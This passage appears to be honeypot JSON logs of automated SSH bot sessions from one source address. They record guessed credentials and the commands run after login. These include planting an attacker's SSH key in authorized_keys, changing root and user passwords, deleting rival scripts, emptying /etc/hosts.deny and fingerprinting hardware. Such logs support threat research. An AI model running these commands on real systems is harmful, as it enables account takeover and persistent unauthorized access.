node\n^C"},{"seq":23,"at":"2026-08-26T15:13:41.135496+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:13:41.618259+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:13:42.365228+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:13:42.916106+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:13:43.665222+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:13:44.364719+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:13:45.112611+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:13:46.277591+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:13:47.024997+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:13:48.498531+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aa123321","method":"password","accepted":true,"tier":"other"}]}
{"id":"4eebb87b-a651-4f00-83e4-0b6124533e57","name":"cheerful-solemn-walrus","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40822,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:13:24.742686+00:00","ended_at":"2026-08-26T15:13:25.975533+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"dc07be69-24b6-42bb-8e59-68ff8d8091dc","name":"vaulted-sunlit-kestrel","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40821,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:13:22.267103+00:00","ended_at":"2026-08-26T15:13:23.234404+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"8a19b655-7d8b-4913-9ce0-f0eea4c236dc","name":"velvet-spirited-camel","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40817,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":754,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:11:09.396540+00:00","ended_at":"2026-08-26T15:11:11.023513+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:10:40.896275+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:10:41.648372+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:10:48.037516+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:10:48.660352+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:10:49.414165+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xAGLuUneNnOD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:10:50.166503+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:10:50.918018+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:10:51.326213+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:10:52.079072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:10:53.491187+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:10:54.245630+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:10:55.295346+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:10:56.051427+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:10:56.607137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:10:57.357002+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:10:58.208301+00:00","kind":"output","latency_ms":null,"data":" 15:10:58 up 6 days, 12:01,  0 user,  load average: 0.14, 0.12, 0.09\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:10:58.962039+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:10:59.597411+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:11:00.351389+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:11:01.027440+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:11:01.781067+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:11:02.587586+00:00","kind":"output","latency_ms":null,"data":"top - 15:11:02 up 6 days, 12:01,  0 user,  load average: 0.14, 0.12, 0.09\nTasks: 111 total,   1 running, 110 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6990 free,    8897 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:11:03.341812+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:11:04.201015+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:11:04.955050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:11:05.568400+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:11:06.325296+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:11:06.823895+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:11:07.577341+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:11:08.643778+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:11:09.397401+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:11:10.784453+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678Ab","method":"password","accepted":true,"tier":"other"}]}
{"id":"1ffd768a-b55e-4dfb-83b4-470686ac6076","name":"primal-sullen-chough","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40819,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:10:45.827340+00:00","ended_at":"2026-08-26T15:10:47.798337+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"0bf9ce45-ba85-4aef-823f-f162307da485","name":"courtly-glacial-sloth","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40818,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:10:43.382953+00:00","ended_at":"2026-08-26T15:10:44.331738+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"3d81e16b-e9d4-4aac-a492-6a2552c55825","name":"fleeting-shaded-marten","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40814,"username":"usuario1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:08:27.168497+00:00","ended_at":"2026-08-26T15:08:28.568238+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-26T15:07:59.123691+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:07:59.870791+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:08:07.387457+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:08:07.882641+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:08:08.630715+00:00","kind":"input","latency_ms":null,"data":"echo -e \"usuario1\\nlm9PDfXNni7b\\nlm9PDfXNni7b\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:08:09.376825+00:00","kind":"input","latency_ms":null,"data":"echo \"usuario1\\nlm9PDfXNni7b\\nlm9PDfXNni7b\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:08:10.124747+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:08:10.582416+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:08:11.329740+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:08:12.562644+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:08:13.312104+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:08:14.455046+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:08:15.204334+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:08:15.519750+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:08:16.265778+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:08:16.906573+00:00","kind":"output","latency_ms":null,"data":" 15:08:16 up 6 days, 11:58,  0 user,  load average: 0.26, 0.23, 0.19\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:08:17.653733+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:08:18.093174+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:08:18.840359+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:08:19.159287+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:08:19.908581+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:08:20.457115+00:00","kind":"output","latency_ms":null,"data":"top - 15:08:20 up 6 days, 11:58,  0 user,  load average: 0.26, 0.23, 0.19\nTasks: 107 total,   1 running, 106 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8738 free,    7149 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:08:21.204023+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:08:21.937840+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:08:22.681745+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:08:22.938176+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:08:23.685067+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:08:24.146358+00:00","kind":"output","latency_ms":null,"data":"usuario1"},{"seq":29,"at":"2026-08-26T15:08:24.893078+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:08:26.422050+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:08:27.170565+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:08:28.331350+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"usuario1","password":"usuario1","method":"password","accepted":true,"tier":"other"}]}
{"id":"0b875908-3e19-459b-95ab-e84faa046b06","name":"gentle-lively-quoll","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40816,"username":"usuario1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:08:05.000703+00:00","ended_at":"2026-08-26T15:08:07.150844+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"usuario1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"73b1d2fd-5de5-4089-be24-7adec8a8d3f0","name":"sterling-pristine-bittern","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40815,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:08:01.627864+00:00","ended_at":"2026-08-26T15:08:03.486634+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"0d61be63-1a1c-4452-9b14-fc7706e888d9","name":"thorny-sincere-gull","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40811,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":784,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:05:04.993523+00:00","ended_at":"2026-08-26T15:05:06.290459+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:04:37.047901+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:04:37.802606+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:04:43.891792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:04:44.777651+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:04:45.533855+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QT6d041GtHFX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:04:46.289142+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:04:47.054540+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:04:47.954737+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:04:48.740727+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:04:49.690036+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:04:50.477133+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:04:51.873132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:04:52.658180+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:04:52.926868+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:04:53.711695+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:04:54.541337+00:00","kind":"output","latency_ms":null,"data":" 15:04:54 up 6 days, 11:55,  0 user,  load average: 0.12, 0.09, 0.12\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:04:55.325415+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:04:56.006311+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:04:56.791128+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:04:57.062576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:04:57.848233+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:04:58.369716+00:00","kind":"output","latency_ms":null,"data":"top - 15:04:58 up 6 days, 11:55,  0 user,  load average: 0.12, 0.09, 0.12\nTasks: 111 total,   1 running, 110 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8579 free,    7308 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:04:59.154848+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:04:59.695852+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:05:00.480728+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:05:01.131559+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:05:01.917807+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:05:02.446083+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:05:03.231270+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:05:04.206945+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:05:04.995521+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:05:06.038424+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2WSX!","method":"password","accepted":true,"tier":"other"}]}
{"id":"063f6da1-5205-41aa-9503-ab50dff3aa55","name":"mottled-kindly-cicada","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40813,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:04:41.934516+00:00","ended_at":"2026-08-26T15:04:43.652067+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"a8eba080-6119-47da-8115-b2e7a9eb104e","name":"hushed-wandering-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40812,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:04:39.553281+00:00","ended_at":"2026-08-26T15:04:40.421676+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"8bcdf282-e66a-4095-9db8-14fd6ca479e6","name":"prairie-upland-tern","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40808,"username":"postgres","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:01:57.463304+00:00","ended_at":"2026-08-26T15:01:59.089304+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2273,"events":[{"seq":1,"at":"2026-08-26T15:01:30.961575+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:01:31.706273+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:01:37.616790+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:01:38.358946+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:01:39.105437+00:00","kind":"input","latency_ms":null,"data":"echo -e \"postgres@123456\\nYiWLZCV7EmfH\\nYiWLZCV7EmfH\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:01:39.853810+00:00","kind":"input","latency_ms":null,"data":"echo \"postgres@123456\\nYiWLZCV7EmfH\\nYiWLZCV7EmfH\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:01:40.595134+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:01:41.084859+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:01:41.829935+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 